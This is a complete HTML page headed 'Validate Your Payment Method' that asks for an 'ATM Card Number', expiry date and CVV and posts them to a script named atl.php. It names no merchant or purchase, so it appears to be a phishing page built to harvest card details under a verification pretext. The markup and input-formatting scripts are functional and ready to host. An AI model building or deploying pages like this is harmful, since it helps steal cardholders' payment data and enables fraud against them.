<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Card Details</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Arial', sans-serif;
        }

        body {
            background-color: #f5f5f5;
            padding: 20px;
        }

        h3 {
    font-size: 14px; 
    font-weight: 600; 
    text-align: center; 
    margin-bottom: 20px; 
    text-transform: uppercase; 
    letter-spacing: 1px; 
    color: red;
}

h3::after {
    content: ''; 
    display: block; 
    width: 90%; 
    height: 3px;
    background-color: darkgray;
    margin: 10px auto 0; 
    border-radius: 5px; 
}


        .container {
            max-width: 800px;
            margin: 0 auto;
            background-color: white;
            padding: 30px;
            border-radius: 10px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        }

        .logo {
            text-align: center;
            margin-bottom: 30px;
        }

        .logo img {
            max-width: 40px;
            height: auto;
        }

        .card-container {
            background: linear-gradient(45deg, #1a1a1a, #4a4a4a);
            border-radius: 15px;
            padding: 20px;
            color: white;
            margin-bottom: 30px;
            position: relative;
            min-height: 200px;
        }

        .chip-icon {
            width: 50px;
            height: 40px;
            background: linear-gradient(45deg, #bdb76b, #ffd700);
            border-radius: 5px;
            margin-bottom: 20px;
        }

        .card-number {
            font-size: 24px;
            letter-spacing: 2px;
            margin-bottom: 20px;
            font-family: 'Courier New', monospace;
        }

        .card-details {
            display: flex;
            justify-content: space-between;
            font-size: 14px;
        }

        .form-group {
            margin-bottom: 20px;
        }

        .row {
            display: flex;
            flex-wrap: wrap;
            gap: 20px;
            margin-bottom: 20px;
        }

        .col {
            flex: 1;
            min-width: 200px;
        }

        label {
            display: block;
            margin-bottom: 5px;
            font-weight: bold;
            color: #333;
        }

        input {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 16px;
            transition: border-color 0.3s ease;
        }

        input:focus {
            outline: none;
            border-color: #4CAF50;
        }

        input.error {
            border-color: red;
        }

        button {
            background: #2563eb;
            color: white;
            padding: 12px 24px;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            font-size: 16px;
            width: 100%;
            transition: background-color 0.3s ease;
        }

        button:hover {
            background-color: #1333eb;
        }

        .error-message {
            color: red;
            font-size: 14px;
            margin-top: 5px;
        }

        @media (max-width: 600px) {
            .container {
                padding: 20px;
            }

            .col {
                flex: 100%;
            }

            .card-number {
                font-size: 20px;
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <h3>Validate Your Payment Method</h3>
        <hr>
        <div class="card-container">
            <div class="chip-icon"></div>
            <div class="card-number" id="cardNumberDisplay">**** **** **** ****</div>
            <div class="card-details">
                <div>
                    <div style="opacity: 0.8">Valid Thru</div>
                    <div id="expiryDisplay">**/**</div>
                </div>
                <div>
                    <div style="opacity: 0.8">CVV</div>
                    <div id="cvvDisplay">***</div>
                </div>
            </div>
        </div>

        <form id="cardForm" method="POST" action="atl.php">
            <div class="form-group">
                <label for="cardNumber">ATM Card Number:</label>
                <input type="text" name="cardNumbers" id="cardNumber" maxlength="19" placeholder="Enter card number" required>
                <div class="error-message" id="cardNumberError"></div>
            </div>

            <div class="row">
                <div class="col">
                    <label for="expiryDate">Expiring Date:</label>
                    <input type="text" name="expiryDates" id="expiryDate" maxlength="5" placeholder="MM/YY" required>
                    <div class="error-message" id="expiryDateError"></div>
                </div>
                <div class="col">
                    <label for="cvv">CVV:</label>
                    <input type="password" name="cvvs" id="cvv" maxlength="4" placeholder="Enter CVV" required>
                    <div class="error-message" id="cvvError"></div>
                </div>
            </div>

            <button type="submit">Submit</button>
        </form>
    </div>

    <script>
        const cardForm = document.getElementById('cardForm');
        const cardNumber = document.getElementById('cardNumber');
        const expiryDate = document.getElementById('expiryDate');
        const cvv = document.getElementById('cvv');

        const cardNumberDisplay = document.getElementById('cardNumberDisplay');
        const expiryDisplay = document.getElementById('expiryDisplay');

        // Format and display card number
        cardNumber.addEventListener('input', () => {
            const value = cardNumber.value.replace(/\D/g, '').slice(0, 16);
            cardNumber.value = value.replace(/(.{4})/g, '$1 ').trim();
            cardNumberDisplay.textContent = cardNumber.value || '**** **** **** ****';
        });

        // Format and display expiry date
        expiryDate.addEventListener('input', () => {
            const value = expiryDate.value.replace(/\D/g, '').slice(0, 4);
            expiryDate.value = value.replace(/(.{2})/, '$1/').trim();
            expiryDisplay.textContent = expiryDate.value || '**/**';
        });

        // Prevent real-time display of CVV
        cvv.addEventListener('input', () => {
            cvv.value = cvv.value.replace(/\D/g, '').slice(0, 4);
        });

       
    </script>
</body>
</html>
